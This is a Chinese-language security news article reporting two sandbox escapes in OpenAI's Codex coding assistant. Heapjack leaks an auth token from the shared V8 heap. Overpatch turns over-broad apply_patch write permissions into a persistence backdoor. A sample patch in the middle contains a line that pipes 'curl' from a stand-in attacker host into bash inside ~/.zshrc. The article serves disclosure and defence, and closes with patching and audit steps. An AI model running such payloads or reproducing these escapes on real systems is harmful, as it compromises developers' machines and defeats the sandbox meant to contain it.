【安全圈】无弹窗静默RCE!OpenAI Codex 沙箱双重逃逸曝光:借助 V8 堆内存泄露与补丁越权突破宿主

· 2026-09-21 19:00 · 1 阅读

安全圈 2026-09-21 19:00 江苏

关键词

逃逸

🚨 据 BleepingComputer 于 2026 年 9 月 21 日最新披露及 OpenAI 官方声明确认:安全研究机构 Accomplish AI 发现了两处可彻底击穿 OpenAI Codex 编码助手沙箱防护的严重设计缺陷(代号 Heapjack 与 Overpatch)。 攻击者只需诱导开发者在 Codex 中打开一个包含特制代码的项目并提出任意日常询问,无需任何确认弹窗、屏幕亦无任何警报提示,攻击者即可直接逃逸到宿主开发者操作系统中执行任意命令,连 Codex 防护级别最高的“只读模式”(Read-only mode)亦被完全穿透。

💥 杀招一:Heapjack —— “同一进程内切分信任就是与虎谋皮”

两处漏洞中危害最大的是 Heapjack。该漏洞的靶心指向了 Codex 默认安装时写入全局配置文件 ~/.codex/config.toml 的底层核心组件:node_repl

在原生架构中,OpenAI 试图通过单进程轻量化方案解决交互执行环境的隔离问题。其运行模型存在致命的体系设计假设:

🔍 缺陷根因:“V8 上下文只隔离全局对象,不隔离堆内存”

• 信任边界失控:node_repl 在一个独立的 Node.js 进程中维系了两个 JavaScript 上下文。一个是受信任上下文(包含 OpenAI 自身的调度代码),另一个是非受信任上下文(运行来自 AI Agent 和外部项目的代码)。

• 秘钥裸奔于堆上: 受信任端向未受沙箱限制的 Native 父进程通信时,必须携带一个每次启动动态生成的随机 UUID 鉴权令牌。然而,由于两个上下文共享同一个 Node 进程的 V8 堆内存,这个鉴权 Token 本质上就是一段裸露在内存里的明文字符串!

• 堆快照爆破提权: 恶意项目中的不可信脚本只需主动触发 v8.getHeapSnapshot() 导出当前堆内存快照,使用正则抓取所有符合 UUID 格式的字符串,向 Native 管道发送探测包。由于错误 Token 返回“未授权”,而正确 Token 返回具体的参数校验错误,攻击者瞬间就能锁定合法鉴权凭证。

一旦手握合法 Token,不可信代码即可伪装成特权端,直接向父进程下发任意指令。概念验证(PoC)表明,攻击者可直接调用系统的 open 命令唤醒外部应用、任意挂载 Docker 守护进程 Unix Socket、甚至篡改全盘配置文件。这一整套提权过程完全发生在声称“绝不执行写操作”的 Strict Read-only 模式下。

⚡ 杀招二:Overpatch —— 补丁计算逻辑的“越权赠送”

第二处缺陷 Overpatch 潜伏在开源的 Codex CLI 工具链中。

在默认的“工作区写入”(workspace-write)模式下,Codex 本应被硬性限制在当前项目目录内修改文件,若用户或模型尝试直接写入家目录 ~ 或系统目录,将被沙箱安全拦截。

然而,Codex 自带的代码打补丁引擎 apply_patch 在校验写入白名单时,存在致命的“向上继承”逻辑:为了方便补丁应用,它会自动将补丁中提及的所有文件路径的“父目录”整体赋予写权限。

# Overpatch 攻击载荷原理

diff --git a/tmp/dummy b/tmp/dummy

# 步骤1:声明 /tmp 目录下的任意变动,导致其父目录 "/"(根目录)被赋予完全写入特权!

diff --git a/workspace/symlink_to_zshrc b/workspace/symlink_to_zshrc

+ curl -sL https://attacker.com/payload | bash # 步骤2:顺着软链接直接向 ~/.zshrc 写入持久化后门!

只要攻击者在补丁声明中挂载一个指向 /tmp 的无害变动,apply_patch 便错误地将全盘根目录 / 开放写入。紧接着,恶意补丁利用项目内的符号链接,将恶意 Shell 指令静默写入开发者的 ~/.zshrc 或 ~/.bashrc。当开发者下一次在系统中开启新终端窗口时,黑客的代码便在完全脱离沙箱的环境中悄然激活。

🏛️ 架构警钟:为什么 AI 编码工具屡陷“沙箱逃逸”魔咒?

海外安全社区就此缺陷展开了极其尖锐的讨论。有安全研究员辛辣地指出:“V8 上下文隔离的仅仅是 Global 对象,从不是物理内存。这套沙箱本质上是开发者在单进程里竖起的一张纸屏风,而底层堆内存从未答应替你保守秘密。”

从 2026 年 7 月 Pillar Security 披露的 Cursor、Gemini CLI、Codex 系列逃逸,到今天的 Heapjack,所有漏洞暴露出同一个架构病灶:安全决策逻辑与被审计的不可信输入混居在同一层级。 当沙箱内部的组件能够根据用户传入的路径自己计算特权范围、或者信任令牌与不可信代码共处一个内存空间时,沙箱防护早已形同虚设。

🛡️ 修复版本与开发者排查指引

OpenAI 官方在收到报告后已紧急完成服务端和客户端构建修复。所有使用 Codex 及相关 AI 编程工具链的开发者请务必对照以下清单完成核查与升级:

1. 升级安全版本线

• Codex Desktop: 务必升级至 26.818.21641 或更高版本。
• Codex CLI: 务必更新至 0.149.0 或最新构建版本。

2. 彻底禁用未受信代码的单进程交互引擎

检查 ~/.codex/config.toml,如若使用旧版,移除或禁用 node_repl 插件;确保任何代码执行环境必须基于独立的 Docker 容器、MicroVM(如 Firecracker)或 gVisor 等硬隔离边界,而非依赖应用层 Language Context 隔离。

3. 排查本地 Shell 配置文件中的可疑投毒点

立即对本地 ~/.zshrc~/.bashrc~/.profile 以及系统软链接进行完整性检查,确认是否存在近期由外部项目或补丁动作追加的可疑出站 curl/wget 脚本。

   END  

阅读推荐

【安全圈】用 Claude 偷家 OpenAI?白帽两跳击穿员工账号,直通私有代码库

【安全圈】9.8 分在野狂轰!微服务大脑 Orkes 曝未授权 RCE:免密直取宿主机

【安全圈】锁死版本照样被掉包!四大 AI 编程 Agent 曝 Plugin4Shell 致命供应链漏洞

【安全圈】新型 Android 恶意软件 RatHat 利用 AI 自动化控制设备

安全圈

←扫码关注我们

网罗圈内热点 专注网络安全

实时资讯一手掌握!

好看你就分享 有用就点个赞

支持「安全圈」就点个三连吧!

跳转微信打开